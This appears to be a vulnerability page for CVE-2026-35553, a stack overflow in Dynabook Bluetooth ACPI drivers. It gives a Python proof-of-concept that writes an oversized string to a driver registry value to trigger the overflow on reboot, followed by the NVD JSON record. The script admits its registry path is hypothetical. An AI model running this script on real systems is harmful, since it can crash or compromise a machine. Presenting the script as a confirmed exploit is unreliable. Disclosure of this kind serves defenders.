CVE-2026-35553

import winreg # Conceptual PoC for CVE-2026-35553 # This script demonstrates modifying a registry value to trigger a buffer overflow. # Note: The specific registry path and value name are hypothetical and require research. def trigger_overflow(): try: # Path to the vulnerable driver's registry key reg_path = r"SYSTEM\CurrentControlSet\Services\BthAci" # Open the key with write access key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_path, 0, winreg.KEY_SET_VALUE) # Create a payload larger than the buffer size (e.g., 1000 bytes) # This overwrites the stack frame payload = "A" * 1000 # Write the payload to the registry value value_name = "ConfigParameter" winreg.SetValueEx(key, value_name, 0, winreg.REG_SZ, payload) print("[+] Payload written successfully.") print("[*] Reboot the system to trigger the driver load and overflow.") winreg.CloseKey(key) except WindowsError as e: print(f"[!] Error accessing registry: {e}") if __name__ == "__main__": trigger_overflow()

{"cve": {"id": "CVE-2026-35553", "sourceIdentifier": "[email protected]", "published": "2026-04-13T05:16:04.693", "lastModified": "2026-04-13T15:01:43.663", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bluetooth ACPI Drivers provided by Dynabook Inc. contain a stack-based buffer overflow vulnerability. An attacker may execute arbitrary code by modifying certain registry values."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://corporate.jp.sharp/info/product-security/advisory-list/2026-001/", "source": "[email protected]"}, {"url": "https://global.sharp/corporate/info/product-security/advisory-list/2026-001/", "source": "[email protected]"}, {"url": "https://jvn.jp/en/vu/JVNVU96334293/", "source": "[email protected]"}]}}